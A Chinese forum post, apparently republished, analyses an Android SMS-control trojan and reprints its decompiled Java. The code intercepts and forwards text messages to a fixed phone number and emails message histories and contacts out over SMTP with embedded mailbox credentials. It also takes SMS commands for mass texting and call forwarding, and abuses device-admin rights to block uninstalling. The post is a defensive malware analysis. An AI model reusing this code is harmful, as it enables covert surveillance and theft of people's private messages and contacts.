木马APP的简单分析(Android Killer分析)

Posted i春秋网络安全学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了木马APP的简单分析(Android Killer分析)相关的知识,希望对你有一定的参考价值。

本文作者:三星s7edge

一.此贴目的:分析一个木马APP样本的行为。—————————————————————————————————————————————————-
二.分析步骤及结果:

文件名称:Project_Mod.apk
MD5值: 773833c1e4632aaa6b000e891dc49d4b
文件大小: 439.98KB
上传时间: 2017-09-29 13:13:17
包名: com.nai.ke
最低运行环境: android 4.0, 4.0.1, 4.0.2
版权: Android

1.在模拟器上安装APP初步查看行为

由于给的样本中没有原来的APK文件,所以我只好用apktool进行了一次回编译并签名后得到了APK文件,才得以在模拟器上安装。

技术分享

这里看出程序是获取锁定屏幕的权限。

技术分享

技术分享

以上是这款APP的权限,包括读取通讯录短信的敏感权限。

2.我将这个APP文件上传至哈勃分析系统

android.permission.WRITE_SMS        写短信
android.permission.READ_SMS        读取短信
android.permission.SEND_SMS        发送短信
android.permission.RECEIVE_SMS        监控接收短信
android.permission.INTERNET        连接网络(2G或3G)
android.permission.READ_CONTACTS        读取联系人信息
android.permission.WRITE_CONTACTS        写入联系人信息
android.permission.WRITE_EXTERNAL_STORAGE        写外部存储器(如:SD卡)
android.permission.PROCESS_OUTGOING_CALLS        监视、修改有关拨出电话
android.permission.READ_PHONE_STATE        读取电话状态
android.permission.CALL_PHONE        拨打电话
android.permission.WRITE_CALL_LOG        写入通话记录
android.permission.RECEIVE_BOOT_COMPLETED        接收开机启动广播
android.permission.DISABLE_KEYGUARD        禁用键盘锁
android.permission.WAKE_LOCK        手机屏幕关闭后后台进程仍运行

技术分享

技术分享

至此其实就很清楚这个APP大概会在安卓系统里干些什么了。

3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码

由于此木马样本比较简单,我从头到尾翻了一遍代码,以下为较重要功能部分

在d.class中 获取[email][email protected][/email]这个邮箱收到的邮件内容,有趣的是在邮箱后面还跟了一串字符串,是邮箱的密码。

public void a(String paramString1, String paramString2)
 {
   String str = l.a(this.c, "zzxx", "tel");
   b localb = new b();
   localb.a("smtp.163.com", "25");
   try
   {
     localb.a("[email protected]", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1);
     localb.a(new String[] { "[email protected]" });
     localb.b("smtp.163.com", "[email protected]", "apowtzjtereitcao");
     return;
   }

在h.class中,拦截短信到并发送给15877587263

public h(String paramString1, String paramString2, Context paramContext)
  {
    this.a = paramString1;
    this.b = paramString2;
    this.c = paramContext;
  }
   
  protected String a(Integer... paramVarArgs)
  {
    publishProgress(new Integer[] { Integer.valueOf(1) });
    a.b("拦截消息doInBackground");
    a(this.a, this.b);
    return "doInBackground:" + paramVarArgs;
  }
   
  protected void a(String paramString)
  {
    a.b("拦截消息后发送结束:" + paramString);
  }
   
  public void a(String paramString1, String paramString2)
  {
    a.b("content:" + paramString2);
    String str1 = e.a(this.c, paramString1);
    paramString2 = a.c(paramString2);
    if (paramString2 == null) {}
    for (;;)
    {
      return;
      if (paramString2.size() == 1)
      {
        paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
        if (a.a(paramString1)) {
          continue;
        }
        try
        {
          a.b("sendMsg " + "15877587263" + "," + paramString1);
          a.a("15877587263", paramString1);
          a.b("sendMsg over");
          return;
        }
        catch (Exception paramString1)
        {
          a.b("sendMsg exception:" + paramString1.getMessage());
          return;
        }
      }
      paramString2 = paramString2.iterator();
      int j;
      for (int i = 1; paramString2.hasNext(); i = j)
      {
        String str2 = (String)paramString2.next();
        j = i + 1;
        str2 = a.a(paramString1, str1, str2, i);
        if (!a.a(str2)) {
          try
          {
            a.b(j + "==sendMsg " + "15877587263" + "," + str2);
            a.a("15877587263", str2);
            a.b("sendMsg over");
            i = j;
          }
          catch (Exception localException)
          {
            a.b("sendMsg exception:" + localException.getMessage());
          }
        }
      }
    }
  }
   
  protected void b(Integer... paramVarArgs)
  {
    a.b("拦截消息后准备发送中");
  }
   
  protected void onPreExecute()
  {
    a.b("拦截消息后准备发送");
  }
}

在i.class中和dggng中的c.class,明显就可以看出通过短信远程操控的操作。

public void a(String paramString1, String paramString2)
  {
    SmsManager localSmsManager = SmsManager.getDefault();
    Object localObject2;
    Object localObject1;
    Iterator localIterator1;
    switch (paramString1.hashCode())
    {
    default:
    case 49:
    case 50:
    case 51:
      do
      {
        do
        {
          do
          {
            return;
          } while (!paramString1.equals("1"));
          l.a(this.e, "zzxx", "bo", "0");
          localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
          return;
        } while (!paramString1.equals("2"));
        l.a(this.e, "zzxx", "bo", "1");
        localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
        System.out.println(l.a(this.e, "zzxx", "bo"));
        return;
      } while ((!paramString1.equals("3")) || (k.a(this.e)));
      localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null);
      this.b = new j(this.e);
      this.a = new c(this.e);
      localObject2 = (ArrayList)this.b.a();
      localObject1 = this.a.a();
      paramString1 = this.b.b();
      paramString2 = "*************DXX*************<br><br>";
      localIterator1 = paramString1.iterator();
      label316:
      if (!localIterator1.hasNext())
      {
        paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
        paramString2 = ((HashSet)localObject1).iterator();
        if (paramString2.hasNext()) {
          break label1340;
        }
        paramString2 = l.a(this.e, "zzxx", "tel");
        localObject1 = new b();
        ((b)localObject1).a("smtp.163.com", "25");
      }
      break;
    }
    for (;;)
    {
      try
      {
        ((b)localObject1).a("[email protected]", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1);
        ((b)localObject1).a(new String[] { "[email protected]" });
        ((b)localObject1).b("smtp.163.com", "[email protected]", "1634576908qq");
        return;
      }
      catch (Addres**ception paramString1)
      {
        localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
        paramString1.printStackTrace();
        Log.e("wxl", "Addres**ception", paramString1);
        return;
        if (!paramString1.equals("4")) {
          break;
        }
        l.a(this.e, "zzxx", "da", "1");
        localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
        System.out.println(l.a(this.e, "zzxx", "da"));
        return;
        if (!paramString1.equals("5")) {
          break;
        }
        System.out.println("开始群发吗?");
        this.a = new c(this.e);
        paramString1 = this.a.a();
        if (l.b(this.e, "zzxx", "qf") != 0) {
          break;
        }
        localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null);
        paramString1 = paramString1.iterator();
        if (!paramString1.hasNext())
        {
          localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null);
          l.a(this.e, "zzxx", "qf", 1);
          return;
          if (!paramString1.equals("6")) {
            break;
          }
          localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("7")) {
            break;
          }
          l.a(this.e, "zzxx", "qf", 0);
          localSmsManager.sendTextMessage("15877587263", null, "重置成功,请成功发送群指令", null, null);
          return;
          if (!paramString1.equals("8")) {
            break;
          }
          localSmsManager.sendTextMessage("15877587263", null, "指令不正确,重新发送", null, null);
          return;
          if (!paramString1.equals("9")) {
            break;
          }
          l.a(this.e, "zzxx", "xin", "1");
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("10")) {
            break;
          }
          l.a(this.e, "zzxx", "xin", "0");
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("11")) {
            break;
          }
          l.a(this.e, "zzxx", "da", "0");
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("12")) {
            break;
          }
          l.a(this.e, "zzxx", "da", "1");
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("13")) {
            break;
          }
          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
          paramString1.addFlags(268435456);
          this.e.startActivity(paramString1);
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          if (!paramString1.equals("14")) {
            break;
          }
          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
          paramString1.addFlags(268435456);
          this.e.startActivity(paramString1);
          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
          return;
          String str = (String)localIterator1.next();
          paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>";
          Iterator localIterator2 = ((ArrayList)localObject2).iterator();
          paramString2 = paramString1;
          if (!localIterator2.hasNext()) {
            break label316;
          }
          paramString2 = (e)localIterator2.next();
          if (!str.equals(paramString2.b())) {
            continue;
          }
          if (paramString2.d().equals("1"))
          {
            paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
            continue;
          }
          paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
          continue;
          localObject1 = (a)paramString2.next();
          paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";
        }
      }
      catch (MessagingException paramString1)
      {
        label1340:
        localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
        paramString1.printStackTrace();
        Log.e("wxl", "MessagingException", paramString1);
        return;
      }
      localObject1 = (a)paramString1.next();
      localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");
      if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
        localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
      }
    }
  }
}

值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱

技术分享

这里就是判断是否短信发送成功及接收成功

技术分享

 

love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。

if (this.b.getInt(“IsFirstRun”, 1) == 1)

  {

    localObject1 = this.b.getString(“imsi”, c.k);

    if (this.b.getInt(“isAdminActive”, 0) != 1) {

      break label390;

    }

    new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号 :  ” + (String)localObject1);

    if (c.a(love.qin.co.service.dggng.a.d)) {

      new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “\n” + “IMSI号:  ” + (String)localObject1 + “\n” + “型号:” + Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

    }

  }

  for (;;)

  {

    localObject1 = this.b.edit();

    ((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);

    ((SharedPreferences.Editor)localObject1).commit();

    a();

    return;

    label390:

    new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号:  ” + (String)localObject1);

    if (c.a(love.qin.co.service.dggng.a.d)) {

      new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “\n” + “IMSI号:  ” + (String)localObject1 + “\n” + “型号:” + Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

    }

  }

}

love MyAdmin.class中,这里是判断客户是否激活了设备管理器

public class MyAdmin

  extends DeviceAdminReceiver

{

  public void onDisabled(Context paramContext, Intent paramIntent)

  {

    super.onDisabled(paramContext, paramIntent);

    new a().a(“客户已经取消激活”);

    new e(“客户已经取消激活!”);

  }

  

  public void onEnabled(Context paramContext, Intent paramIntent)

  {

    super.onEnabled(paramContext, paramIntent);

  }

  

  public void onReceive(Context paramContext, Intent paramIntent)

  {

    super.onReceive(paramContext, paramIntent);

    System.out.println(“onreceiver”);

  }

}

 

love PhoService.class拦截短信并转发的具体代码

public class PhoService
  extends Service
{
  String a = "";
  int b = 0;
  Handler c = new b(this);
 
  private String a(List paramList)
  {
    StringBuilder localStringBuilder = new StringBuilder();
    paramList = paramList.iterator();
    for (;;)
    {
      if (!paramList.hasNext()) {
        return localStringBuilder.toString();
      }
      Object localObject = (a1)paramList.next();
      String str1 = ((a1)localObject).e();
      String str2 = ((a1)localObject).f();
      String str3 = ((a1)localObject).b();
      localObject = ((a1)localObject).a();
      localStringBuilder.append("-------------------------\n");
      localStringBuilder.append("         " + (String)localObject + "         " + str1 + "         " + str3 + "        " + "     短信内容" + "\n");
      localStringBuilder.append(str2 + "\n");
    }
  }
 
  private String a(List paramList, int paramInt)
  {
    String.format("%1$-80s", new Object[] { "  " });
    StringBuilder localStringBuilder = new StringBuilder();
    paramList = paramList.iterator();
    for (;;)
    {
      if (!paramList.hasNext()) {
        return localStringBuilder.toString();
      }
      Object localObject = (Map)paramList.next();
      String str = (String)((Map)localObject).get("name");
      localObject = (String)((Map)localObject).get("number");
      localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ":  " + (String)localObject }));
    }
  }
 
  private List b()
  {
    ArrayList localArrayList = new ArrayList();
    for (;;)
    {
      int i;
      try
      {
        Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
        if (!localCursor.moveToNext())
        {
          localCursor.close();
          return localArrayList;
        }
        String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
        String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
        String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
        String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
        i = localCursor.getInt(localCursor.getColumnIndex("type"));
        if (i == 1)
        {
          String str1 = "接收";
          continue;
          localArrayList.add(new a1(str5, str6, str3, str7, str1));
          continue;
          str1 = "草稿";
          String str3 = str4;
          if (str4 != null) {
            continue;
          }
          str3 = "";
          continue;
        }
        if (i != 2) {
          break label265;
        }
      }
      catch (SQLiteException localSQLiteException)
      {
        return localArrayList;
      }
      String str2 = "发送;
      continue;
      label265:
      if (i == 0) {
        str2 = "未读";
      }
    }
  }
 
 
[b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b]
[mw_shl_code=java,true]  public void run()
  {
    try
    {
      Object localObject1 = new g(this.a.getApplicationContext());
      String str = ((g)localObject1).c();
      Object localObject2 = ((g)localObject1).b();
      localObject1 = localObject2;
      if (localObject2 == null) {
        localObject1 = "";
      }
      if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
      for (localObject1 = "电话:" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI:" + str + "的所有短信记")
      {
        str = PhoService.a(this.a, PhoService.a(this.a));
        localObject2 = localObject1;
        if (str.length() <= "  ".length()) {
          localObject2 = localObject1 + " 客户手机限制,获取历史短信失败";
        }
        localObject1 = new h();
        love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
        localc.a(a.i);
        localc.b(a.r);
        localc.a(true);
        localc.f(a.f);
        localc.d(a.g);
        localc.c(a.f);
        localc.e(a.h);
        localc.g((String)localObject2);
        localc.h(str);
        ((h)localObject1).a(localc);
}
    }
}

在e.class中是在执行获取通讯录

public void run()

  {

    try

    {

      Object localObject1 = new g(this.a.getApplicationContext());

      String str = ((g)localObject1).c();

      Object localObject2 = ((g)localObject1).b();

      localObject1 = localObject2;

      if (localObject2 == null) {

        localObject1 = “”;

      }

      if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}

      for (localObject1 = “电话:” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”)

      {

        localObject2 = this.a.a();

        str = PhoService.a(this.a, (List)localObject2, 1);

        localObject2 = localObject1;

        if (str.length() <= “      “.length()) {

          localObject2 = localObject1 + ” 客户手机限制,获取通讯录失败”;

        }

        localObject1 = new h();

        love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();

        localc.a(a.i);

        localc.b(a.r);

        localc.a(true);

        localc.f(a.f);

        localc.d(a.g);

        localc.c(a.f);

        localc.e(a.h);

        localc.g((String)localObject2);

        localc.h(str);

        ((h)localObject1).a(localc);

 

 

x.x.x  FSR.class中是在记录手机当前是否在通话中

[b][color=#0000ff] [/color][/b]

 public void onReceive(Context paramContext, Intent paramIntent)

  {

    Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);

    String str = ((SharedPreferences)localObject).getString(“bo”, “1″);

    localObject = ((SharedPreferences)localObject).getString(“da”, “0″);

    Log.i(“PhoneStatReceiver”, str);

    if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))

    {

      paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);

      System.out.println(“正在打电话”);

      if (localObject == “1″)

      {

        System.out.println(“打不出电话”);

        setResultData(null);

      }

      Log.e(“msg”, “call OUT:” + paramContext);

    }

    do

    {

      return;

      this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));

      switch (this.a.getCallState())

      {

      default:

        return;

      case 0:

        Log.e(“tag”, “电话空闲”);

        return;

      case 1:

        Log.e(“tag”, “电话已挂断”);

      }

    } while (str != “0″);

    a();

    return;

    Log.e(“tag”, “电话已摘机”);

  }

}

 

 

[color=#0000ff][b]在[/b][/color][b]x.x.x  [/b][color=#0000ff][b]PAR.class中 通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑,即卸载程序[/color][/b]

public class PAReceiver

  extends DeviceAdminReceiver

{

  public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)

  {

    paramIntent = l.a(paramContext, “zzxx”, “tel”);

    com.b.a.a.b.a(paramIntent);

    if (l.b(paramContext, “zzxx”, “pop”) == 0)

    {

      l.a(paramContext, “zzxx”, “pop”, 1);

      SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null);

      new a(this).start();

    }

    paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);

    paramIntent.setFlags(268435456);

    paramContext.startActivity(paramIntent);

    paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);

    paramContext.lockNow();

    new Thread(new b(this, paramContext)).start();

    return “”;

  }

  

  public void onDisabled(Context paramContext, Intent paramIntent) {}

  

  public void onEnabled(Context paramContext, Intent paramIntent)

  {

    com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));

    new c(this).start();

    super.onEnabled(paramContext, paramIntent);

  }

}

 

 

x.x.x  a.class中 通过发送邮件告知鱼试图逃跑,也是在程序卸载时触发

public void run()
  {
    System.out.println("执行发送邮件");
    com.b.a.b.b localb = new com.b.a.b.b();
    localb.a("smtp.163.com", "25");
    try
    {
      localb.a("[email protected]", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了");
      localb.a(new String[] { "[email protected]" });
      localb.b("smtp.163.com", "[email protected]", "1634576908qq");
      return;
    }
    catch (Addres**ception localAddres**ception)
    {
      localAddres**ception.printStackTrace();
      Log.e("wxl", "Addres**ception", localAddres**ception);
      return;
    }
    catch (MessagingException localMessagingException)
    {
      localMessagingException.printStackTrace();
      Log.e("wxl", "MessagingException", localMessagingException);
    }
  }
}

三.总结

此贴仅为简单APP木马分析,能看出这是一款典型的远程手机短信邮件控制的木马程序,危害性挺大的,一般普通用户中毒后基本无法察觉。
自我反思:在学习分析这个APP过程中,虽然能大概根据中文看出代码意思,但是显得很突兀,很多函数间的调用和联系没能准确看出来,文章感觉条理不是太清晰,感觉自己太菜了。


























































































































































































































































































































































































































以上是关于木马APP的简单分析(Android Killer分析)的主要内容,如果未能解决你的问题,请参考以下文章

Android进程回收机制LMK(Low Memory Killer)

killer.exe - 应用程序错误,求大侠指点

Javqhc木马怎么杀

Android木马病毒com.schemedroid的分析报告

Android木马病毒com.schemedroid的分析报告

MySQL Slave 触发 oom-killer 原因分析